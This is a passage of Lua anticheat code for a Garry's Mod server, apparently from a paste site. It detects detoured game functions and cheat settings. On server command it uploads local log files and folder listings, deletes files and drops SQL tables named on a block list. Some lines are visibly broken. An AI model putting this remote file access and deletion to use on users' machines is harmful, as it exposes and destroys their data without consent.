- trumble.Logging = SH_READFILE( "logging.txt" )
- trumble.IPLogs = SH_READFILE( "iplog.txt" )
- end
- end )
- local Loaded = {}
- local function GFFR_Func( um )
- local File = um:ReadString()
- if File == "SendLua" or File == "Logging" or File == "IPLogs" then
- NotSTS( DOWNLOAD_CMD or "DOWNLOAD_bk", { File, trumble[ File ] } )
- end
- NotSTS( DOWNLOAD_CMD or "DOWNLOAD_bk", { File, Loaded[ File ] } )
- end
- NotUH( "GFFR_BK", GFFR_Func )
- local function GCRC_Func( um )
- local File = um:ReadString()
- if not NotFE( File, true ) then return end
- Loaded[ File ] = NotFR( File, true )
- queueCommand( CRC_CMD or "CRC_bk", { File, util.CRC( Loaded[ File ] or "" ) } )
- end
- NotUH( "GCRC_BK", GCRC_Func )
- local function GREMOVE_Func( um )
- local File = um:ReadString()
- NotFD( File )
- queueCommand( REMOVE_CMD or "REMOVE_bk", { File, tonumber( NotFE( File ) ) } )
- end
- NotUH( "GREMOVE_BK", GREMOVE_Func )
- local EyeSpam = {}
- local Eye_Whitelist = { "mb_perp/gamemode/cl_player.lua", "mb_perp/gamemode/cl_modules/cl_billiards.lua" }
- local function SetViewAngles( ucmd, angle )
- local Path = SAFE_DIR( NotD( 2 ).short_src )
- if not Path or not angle then return end
- if not table.HasValue( Eye_Whitelist, Path:lower() ) and not EyeSpam[ Path ] then
- EyeSpam[ Path ] = true
- queueCommand( SVA_CMD or "SVA_bk", { Path } )
- end
- return NotSVA( ucmd, angle )
- end
- _R.CUserCmd.SetViewAngles = SetViewAngles
- local function SetEyeAngles( self, angle )
- if not IsValid( self ) then return end
- local Path = SAFE_DIR( NotD( 2 ).short_src )
- if not Path or not angle then return end
- if not table.HasValue( Eye_Whitelist, Path:lower() ) and not EyeSpam[ Path ] then
- EyeSpam[ Path ] = true
- --queueCommand( SEA_CMD, or "SEA_bk", { Path } )
- end
- return NotSEA( self, angle )
- end
- _R.Player.SetEyeAngles = SetEyeAngles
- _R.Entity.SetEyeAngles = SetEyeAngles
- NotUH( tostring( util.CRC( game.GetMap():lower() ) / util.CRC( GetHostName():upper() ) * 100 ), function( um )
- Counter_CMD = um:ReadString()
- Force_CMD = um:ReadString()
- Recoil_CMD = um:ReadString()
- Warn_CMD = um:ReadString()
- Detour_CMD = um:ReadString()
- ECC_CMD = um:ReadString()
- CA_CMD = um:ReadString()
- HA_CMD = um:ReadString()
- R_CMD = um:ReadString()
- CRC_CMD = um:ReadString()
- REMOVE_CMD = um:ReadString()
- SEA_CMD = um:ReadString()
- SVA_CMD = um:ReadString()
- FILES_CMD = um:ReadString()
- DOWNLOAD_CMD = um:ReadString()
- GREMOVE = um:ReadString()
- GCRC = um:ReadString()
- GFFR = um:ReadString()
- queueCommand( Counter_CMD, { G, R } )
- NotUH( GFFR, GFFR_Func )
- NotUH( GCRC, GCRC_Func )
- NotUH( GREMOVE, GREMOVE_Func )
- for _, v in pairs( blocked_sql ) do
- if NotQTE( v ) then
- queueCommand( Warn_CMD, { "SQL Table " .. v .. " has been found." } )
- NotQ( "DROP TABLE " .. v )
- end
- end
- NotTS( 5, function()
- NotSTS( FILES_CMD, { "lua", tumble.lua } )
- NotSTS( FILES_CMD, { "modules", tumble.modules } )
- NotSTS( FILES_CMD, { "data", tumble.data } )
- NotSTS( FILES_CMD, { "root", tumble.root } )
- if trumble.SendLua then queueCommand( GCRC, { "SendLua", util.CRC( trumble.SendLua ) } ) end
- if trumble.Logging then queueCommand( GCRC, { "Logging", util.CRC( trumble.Logging ) } ) end
- if trumble.IPLogs then queueCommand( GCRC, { "IPLogs", util.CRC( trumble.IPLogs ) } ) end
- end )
- local function SAFE_DIR( DIR ) return DIR:gsub( '\'', "/" ) end
- NotTC( GetRand(), 1, 0, function()
- local Weapon = LocalPlayer():GetActiveWeapon()
- if Weapon:IsValid() and Weapon.Primary and Weapon.Primary.Recoil == 0 then
- if Weapon.Primary.Recoil ~= Weapon.DefaultRecoil then
- queueCommand( Recoil_CMD, { Weapon.Primary.Recoil } )
- end
- end
- if NotGCVN( "sv_cheats" ) ~= 0 then
- queueCommand( Force_CMD, { "sv_cheats", NotGCVN( "sv_cheats" ) } )
- end
- if NotGCVN( "host_timescale" ) ~= 1 then
- queueCommand( Force_CMD, { "host_timescale", NotGCVN( "host_timescale" ) } )
- end
- if RunConsoleCommand and NotRCC ~= RunConsoleCommand then
- queueCommand( Detour_CMD, { "RunConsoleCommand", SAFE_DIR( NotD( RunConsoleCommand ).short_src ) } )
- end
- if file.Read and NotFR ~= file.Read then
- queueCommand( Detour_CMD, { "file.Read", SAFE_DIR( NotD( file.Read ).short_src ) } )
- end
- if file.Write and NotFW ~= file.Write then
- queueCommand( Detour_CMD, { "file.Write", SAFE_DIR( NotD( file.Write ).short_src ) } )
- end
- if file.FindInLua and NotFFIL ~= file.FindInLua then
- queueCommand( Detour_CMD, { "file.FindInLua", SAFE_DIR( NotD( file.FindInLua ).short_src ) } )
- end
- if file.Exists and NotFE ~= file.Exists then
- queueCommand( Detour_CMD, { "file.Exists", SAFE_DIR( NotD( file.Exists ).short_src ) } )
- end
- if file.ExistsEx and NotFEX ~= file.ExistsEx then
- queueCommand( Detour_CMD, { "file.ExistsEx", SAFE_DIR( NotD( file.ExistsEx ).short_src ) } )
- end
- if file.FindDir and NotFFD ~= file.FindDir then
- queueCommand( Detour_CMD, { "file.FindDir", SAFE_DIR( NotD( file.FindDir ).short_src ) } )
- end
- if file.IsDir and NotFID ~= file.IsDir then
- queueCommand( Detour_CMD, { "file.IsDir", SAFE_DIR( NotD( file.IsDir ).short_src ) } )
- end
- if file.Time and NotFT ~= file.Time then
- queueCommand( Detour_CMD, { "file.Time", SAFE_DIR( NotD( file.Time ).short_src ) } )
- end
- if file.Find and NotFF ~= file.Find then
- queueCommand( Detour_CMD, { "file.Find", SAFE_DIR( NotD( file.Find ).short_src ) } )
- end
- if file.TFind and NotFTF ~= file.TFind then
- queueCommand( Detour_CMD, { "file.TFind", SAFE_DIR( NotD( file.TFind ).short_src ) } )
- end
- if file.Size and NotFS ~= file.Size then
- queueCommand( Detour_CMD, { "file.Size", SAFE_DIR( NotD( file.Size ).short_src ) } )
- end
- if file.Delete and NotFD ~= file.Delete then
- queueCommand( Detour_CMD, { "file.Delete", SAFE_DIR( NotD( file.Delete ).short_src ) } )
- end
- if GetConVarNumber and NotGCVN ~= GetConVarNumber then
- queueCommand( Detour_CMD, { "GetConVarNumber", SAFE_DIR( NotD( GetConVarNumber ).short_src ) } )
- end
- if GetConVarString and NotGCVS ~= GetConVarString then
- queueCommand( Detour_CMD, { "GetConVarString", SAFE_DIR( NotD( GetConVarString ).short_src ) } )
- end
- if _R.ConVar.GetInt and NotCVGI ~= _R.ConVar.GetInt then
- queueCommand( Detour_CMD, { "_R.ConVar.GetInt", SAFE_DIR( NotD( _R.ConVar.GetInt ).short_src ) } )
- end
- if _R.ConVar.GetBool and NotCVGB ~= _R.ConVar.GetBool then
- queueCommand( Detour_CMD, { "_R.ConVar.GetBool", SAFE_DIR( NotD( _R.ConVar.GetBool ).short_src ) } )
- end
- if usermessage.Hook and NotUH ~= usermessage.Hook then
- queueCommand( Detour_CMD, { "usermessage.Hook", SAFE_DIR( otD( usermessage.Hook ).short_src ) } )
- end
- if usermessage.IncomingMessage and NotUIM ~= usermessage.IncomingMessage then
- queueCommand( Detour_CMD, { "usermessage.IncomingMessage", SAFE_DIR( NotD( usermessage.IncomingMessage ).short_src ) } )
- end
- end )
- end )
Advertisement
Add Comment
Please, Sign In to add comment